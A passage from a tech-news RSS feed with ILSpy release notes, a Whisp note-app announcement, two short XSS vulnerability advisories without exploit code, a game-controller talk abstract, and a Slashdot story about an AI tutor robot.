<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723637729" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3807" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3807/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3807">#3807</a>: Adopt SDK default Compile items in Decompiler and Decompiler.Tests</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733975594" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3815" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3815/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3815">#3815</a>: Verify generated PDBs against the compiler's breakpoint map (PdbGen fixtures previously passed vacuously)</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758438764" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3836" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3836/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3836">#3836</a>: Don't assert decompiled local types match the signature</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761139795" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3839" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3839/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3839">#3839</a>: Add fine-grained debug steps with highlighting for C# and ILAst</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793373898" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3849" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3849/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3849">#3849</a>: Set OpenSSL SHA1 flag in build scripts</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808741983" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3859" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3859/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3859">#3859</a>: Add test coverage for untested corners of implemented language features</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4851968414" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3874" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3874/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3874">#3874</a>: Upload TestCases folder as artifact when CI tests fail</li>
</ul>
<h1>Contributions</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801689525" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3851" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3851/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3851">#3851</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801681484" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3850" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3850/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3850">#3850</a>: recover ReadOnlySpan array literals from the legacy lazy cache — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4864134658" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3878" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3878/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3878">#3878</a>: Handle negative dictionary capacity in string switch transform — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750785500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3828" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3828/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3828">#3828</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713145" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3826" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3826/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3826">#3826</a>: wrap an overflowing constant subexpression in unchecked() — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752170808" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3831" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3831/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3831">#3831</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713020" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3825" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3825/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3825">#3825</a>: reconstruct async iterators with [EnumeratorCancellation] and await in finally — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752125428" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3830" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3830/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3830">#3830</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713292" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3827" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3827/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3827">#3827</a>: keep the while-loop for a ref local used after the loop (avoid an uninitialized hoisted ref decl) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750148217" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3823" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3823/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3823">#3823</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749937155" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3821" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3821/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3821">#3821</a>: keep ref-struct conditional as if/return, not ?. / ?? (CS8978) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750084889" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3822" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3822/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3822">#3822</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749936915" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3820" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3820/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3820">#3820</a>: decompile dynamic ~ as ~x instead of an unsupported-opcode error — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4711234243" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3796" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3796/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3796">#3796</a>: Fix decompiler tests project inside VS — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DoctorKrolic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DoctorKrolic">@DoctorKrolic</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671354233" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3787" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3787/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3787">#3787</a>: dev: fix editorconfig parsing on some editors — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mochaaP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mochaaP">@mochaaP</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4865510907" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3879" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3879/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3879">#3879</a>: Fix the "Use nested namespace structure" option — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
</ul>
<h1>Bug Fixes</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4868276420" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3881" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3881/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3881">#3881</a>: Reject negative char index in the length-and-char string switch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814308307" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3866" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3866/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3866">#3866</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3053643281" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3475" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3475/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3475">#3475</a>: Emit 'true ? null : new { ... }' for null of anonymous type</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814077592" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3864" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3864/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3864">#3864</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810298870" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3860" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3860/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3860">#3860</a>: Avoid 'out var' if the variable recurs in the argument list</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848565462" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3873" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3873/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3873">#3873</a>: Fix dynamic event-assignment decompilation leaking is-event opcode</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4813891618" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3863" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3863/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3863">#3863</a>: Simplify hoisted null-guard fold to reference-type constructor chains</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4804415379" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3852" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3852/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3852">#3852</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750711500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3824" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3824/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3824">#3824</a>: fold a hoisted argument null-guard at the ILAst level</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4757025735" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3832" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3832/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3832">#3832</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629464054" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3754" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3754/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3754">#3754</a>: omit async stepping info for runtime-async methods</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4722659830" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3806" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3806/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3806">#3806</a>: Fix Export NullReferenceException for images/resourcexsd.baml</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687203880" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3792" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3792/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3792">#3792</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644560669" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3774" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3774/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3774">#3774</a>: keep field initializers when decompiling a static ctor alone</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686988933" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3790" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3790/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3790">#3790</a>: Skip missing session assemblies when navigating on launch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4649929996" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3776" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3776/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3776">#3776</a>: Escape reserved Windows device names in output file names</li>
</ul>
<p>For a full list of changes click <a href="https://github.com/icsharpcode/ILSpy/compare/v10.1...v11.0-preview1">here</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[OC] Whisp 1.3.8 released — Added "Slate Mode" for absolute minimalism and official NixOS support.]]></title>
<description><![CDATA[Hello everyone! A while back, I shared Whisp—my gesture-driven, anti-folder note-taking app for GNOME. The feedback from this community has been incredible, and Whisp has now crossed over 6,000 downloads! Today, I’m super excited to release Whisp v1.3.8, focusing heavily on minimalism and declara...]]></description>
<link>https://tsecurity.de/de/3679266/linux-tipps/oc-whisp-138-released-added-slate-mode-for-absolute-minimalism-and-official-nixos-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679266/linux-tipps/oc-whisp-138-released-added-slate-mode-for-absolute-minimalism-and-official-nixos-support/</guid>
<pubDate>Sun, 19 Jul 2026 11:54:45 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello everyone! A while back, I shared Whisp—my gesture-driven, anti-folder note-taking app for GNOME. The feedback from this community has been incredible, and Whisp has now crossed over 6,000 downloads!</p> <p>Today, I’m super excited to release Whisp v1.3.8, focusing heavily on minimalism and declarative setups.</p> <p>What's New in v1.3.8:</p> <p><strong>Slate Mode:</strong> You can now press Alt + S (or set it as your default startup behavior) to instantly hide all top bars and UI elements. It turns Whisp into a perfectly clean, floating piece of text on your desktop for ultimate distraction-free writing.</p> <p><strong>Official NixOS Support</strong>: Thanks to an awesome community contributor, Whisp now includes an official Nix Flake and a Home Manager module! You can natively install and configure your Whisp preferences declaratively via programs.whisp.</p> <p><strong>Smarter Line Sorting:</strong> Using our ::sort_lines_alpha text expansion will now dynamically split your notes into sections. Markdown headings (# Ideas) are strictly anchored in place, and only the text beneath them is sorted.</p> <p>Read the Latest changelogs <a href="https://github.com/tanaybhomia/Whisp/releases">here</a></p> <p>(A quick personal note: Whisp is completely open-source and I develop it solo between my university classes. If Whisp helps your daily workflow, consider [donating](<a href="https://tanaybhomia.github.io/Whisp/donate.html)!">https://tanaybhomia.github.io/Whisp/donate.html)!</a>) or dropping a star on github </p> <p><em>Links</em></p> <p><strong>Donate</strong>: <a href="https://tanaybhomia.github.io/Whisp/donate.html">https://tanaybhomia.github.io/Whisp/donate.html</a></p> <p><strong>Download on Flathub:</strong> <a href="https://flathub.org/apps/io.github.tanaybhomia.Whisp">https://flathub.org/apps/io.github.tanaybhomia.Whisp</a></p> <p><strong>GitHub / Source Code</strong>: <a href="https://github.com/tanaybhomia/Whisp">https://github.com/tanaybhomia/Whisp</a></p> <p><strong>Project Website &amp; Docs</strong>: <a href="https://tanaybhomia.github.io/Whisp">https://tanaybhomia.github.io/Whisp</a></p> <p><strong>Manual</strong>: [tanaybhomia.github.io/Whisp/manual](<a href="https://tanaybhomia.github.io/Whisp/manual.html">https://tanaybhomia.github.io/Whisp/manual.html</a>)</p> <p><strong>My Portfolio:</strong> <a href="https://tanaybhomia.github.io/">https://tanaybhomia.github.io/</a></p> <p>Let me know what you guys think of the new Slate Mode!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Baajjii"> /u/Baajjii </a> <br> <span><a href="https://i.redd.it/mw61jvs1t4eh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v0j2t7/oc_whisp_138_released_added_slate_mode_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-3673 | SourceCodester Sanitization Management System 1.0 Master.php Message cross site scripting (EUVD-2022-43032)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in SourceCodester Sanitization Management System 1.0. Affected by this issue is some unknown functionality of the file /php-sms/classes/Master.php. The manipulation of the argument Message leads to cross site scripting.

This vulnerability ...]]></description>
<link>https://tsecurity.de/de/3679075/sicherheitsluecken/cve-2022-3673-sourcecodester-sanitization-management-system-10-masterphp-message-cross-site-scripting-euvd-2022-43032/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679075/sicherheitsluecken/cve-2022-3673-sourcecodester-sanitization-management-system-10-masterphp-message-cross-site-scripting-euvd-2022-43032/</guid>
<pubDate>Sun, 19 Jul 2026 09:38:38 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/sourcecodester:sanitization_management_system">SourceCodester Sanitization Management System 1.0</a>. Affected by this issue is some unknown functionality of the file <em>/php-sms/classes/Master.php</em>. The manipulation of the argument <em>Message</em> leads to cross site scripting.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2022-3673">CVE-2022-3673</a>. Remote exploitation of the attack is possible. Furthermore, an exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-3672 | SourceCodester Sanitization Management System 1.0 SystemSettings.php name/shortname cross site scripting (EUVD-2022-43031)]]></title>
<description><![CDATA[A vulnerability described as problematic has been identified in SourceCodester Sanitization Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /php-sms/classes/SystemSettings.php. Executing a manipulation of the argument name/shortname can lead to cross ...]]></description>
<link>https://tsecurity.de/de/3678825/sicherheitsluecken/cve-2022-3672-sourcecodester-sanitization-management-system-10-systemsettingsphp-nameshortname-cross-site-scripting-euvd-2022-43031/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678825/sicherheitsluecken/cve-2022-3672-sourcecodester-sanitization-management-system-10-systemsettingsphp-nameshortname-cross-site-scripting-euvd-2022-43031/</guid>
<pubDate>Sun, 19 Jul 2026 05:53:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">problematic</a> has been identified in <a href="https://vuldb.com/product/sourcecodester:sanitization_management_system">SourceCodester Sanitization Management System 1.0</a>. Affected by this vulnerability is an unknown functionality of the file <em>/php-sms/classes/SystemSettings.php</em>. Executing a manipulation of the argument <em>name/shortname</em> can lead to cross site scripting.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2022-3672">CVE-2022-3672</a>. The attack may be launched remotely. Furthermore, there is an exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Teaching alt.ctrl and Learning playfulness (emf2026)]]></title>
<description><![CDATA[The field of Alternative Controllers offers a unique way of experiencing video-games. Although all the major console manufacturers have made ventures into this world  (Playstation Move, Microsoft Kinect and Nintendo Wii) with relative success, the heart and soul of these type of games are much mo...]]></description>
<link>https://tsecurity.de/de/3678071/it-security-video/teaching-altctrl-and-learning-playfulness-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678071/it-security-video/teaching-altctrl-and-learning-playfulness-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:33:15 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The field of Alternative Controllers offers a unique way of experiencing video-games. Although all the major console manufacturers have made ventures into this world  (Playstation Move, Microsoft Kinect and Nintendo Wii) with relative success, the heart and soul of these type of games are much more alive in the weird and experimental creations of individual developers, hackers and artists.

Teaching classes on Alternative Controllers has led me to a few of interesting insights, which I would like to share regarding how these games are created and why. Not the technology itself, as I’m sure most of the audience would know what an Arduino is, but rather the approach I have developed over the years (which includes a lot of cardboard, dumpster diving and flea markets), the importance of bringing the digital world we created into the physical world we inhabit and, perhaps most importantly, how these types of games are actually a celebration of our innate inner playfulness, which seems to me to be so critical to embrace in today’s world.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/99-teaching-alt-ctrl-and-learning-playfulness]]></content:encoded>
</item>
<item>
<title><![CDATA[Teaching alt.ctrl and Learning playfulness (emf2026)]]></title>
<description><![CDATA[The field of Alternative Controllers offers a unique way of experiencing video-games. Although all the major console manufacturers have made ventures into this world  (Playstation Move, Microsoft Kinect and Nintendo Wii) with relative success, the heart and soul of these type of games are much mo...]]></description>
<link>https://tsecurity.de/de/3677945/it-security-video/teaching-altctrl-and-learning-playfulness-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677945/it-security-video/teaching-altctrl-and-learning-playfulness-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:03:23 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The field of Alternative Controllers offers a unique way of experiencing video-games. Although all the major console manufacturers have made ventures into this world  (Playstation Move, Microsoft Kinect and Nintendo Wii) with relative success, the heart and soul of these type of games are much more alive in the weird and experimental creations of individual developers, hackers and artists.

Teaching classes on Alternative Controllers has led me to a few of interesting insights, which I would like to share regarding how these games are created and why. Not the technology itself, as I’m sure most of the audience would know what an Arduino is, but rather the approach I have developed over the years (which includes a lot of cardboard, dumpster diving and flea markets), the importance of bringing the digital world we created into the physical world we inhabit and, perhaps most importantly, how these types of games are actually a celebration of our innate inner playfulness, which seems to me to be so critical to embrace in today’s world.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/99-teaching-alt-ctrl-and-learning-playfulness]]></content:encoded>
</item>
<item>
<title><![CDATA[Steve Wozniak's Foundation Partners With Realbotix To Build AI Teacherbot]]></title>
<description><![CDATA["Apple co-founder Steve Wozniak's Woz Ed foundation is partnering with Realbotix, best known for their RealDoll-branded artificial companions, to deploy AI-powered robotic tutors in classrooms," writes Slashdot reader Hentes. "The doll will serve as a sort of artificial teaching assistant, helpin...]]></description>
<link>https://tsecurity.de/de/3677192/it-security-nachrichten/steve-wozniaks-foundation-partners-with-realbotix-to-build-ai-teacherbot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677192/it-security-nachrichten/steve-wozniaks-foundation-partners-with-realbotix-to-build-ai-teacherbot/</guid>
<pubDate>Sat, 18 Jul 2026 01:08:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Apple co-founder Steve Wozniak's Woz Ed foundation is partnering with Realbotix, best known for their RealDoll-branded artificial companions, to deploy AI-powered robotic tutors in classrooms," writes Slashdot reader Hentes. "The doll will serve as a sort of artificial teaching assistant, helping students who get stuck or generating lessons. Students will be assigned an ID code, allowing the robot to provide personalized mentoring." NYS Focus reports: "This deployment in a working school district represents a landmark moment for both AI and humanoid robotics," said Andrew Kiguel, CEO of Realbotix, which is currently building the robot. "[Salamanca City Central School District in Western New York] marks the beginning of a new era where humanoid robots and intelligent AI assistants become standard tools in STEM education."
 
The female robot, named Sally, will have a "lifelike appearance" with silicone skin and long brown hair, Kiguel said in an interview with New York Focus. It will be stationary in a seated position but have a wide range of upper-body movements and facial expressions. [...]
 
Salamanca plans to introduce the robot and avatar in its high school AI and robotics courses, which use curriculum developed by Apple co-founder Steve Wozniak to prepare students for high-demand tech jobs. The district plans to expand it to high school students in other classes if the pilot is successful. Realbotix's classroom robot has drawn scrutiny because the company is connected to RealDoll, the longtime maker of hyperrealistic sex dolls and sex robots. Realbotix acquired RealDoll's parent company in 2024 but says the education-focused operation has separate employees, payroll, facilities, and technology, with plans to formally separate the businesses at the ownership level.
 
The "companion robots" are different from sex robots and intended to address what it's described as a "loneliness epidemic." Kiguel has previously said the company's goal is to produce robots and AI that are "indistinguishable from humans."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Steve+Wozniak's+Foundation+Partners+With+Realbotix+To+Build+AI+Teacherbot%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F17%2F1944211%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F17%2F1944211%2Fsteve-wozniaks-foundation-partners-with-realbotix-to-build-ai-teacherbot%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/17/1944211/steve-wozniaks-foundation-partners-with-realbotix-to-build-ai-teacherbot?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Asus’ top-end 4K QD-OLED gaming monitor is $400 off]]></title>
<description><![CDATA[The Asus ROG Swift 32-inch 4K QD-OLED gaming monitor has almost everything I want in a high-end gaming monitor, most notably a QD-OLED panel for inky black levels and vivid colors that go beyond what’s possible on an LCD screen. Amazon, Best Buy, and B&H Photo have this model on sale for $899.99 ...]]></description>
<link>https://tsecurity.de/de/3676631/it-nachrichten/asus-top-end-4k-qd-oled-gaming-monitor-is-400-off/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676631/it-nachrichten/asus-top-end-4k-qd-oled-gaming-monitor-is-400-off/</guid>
<pubDate>Fri, 17 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
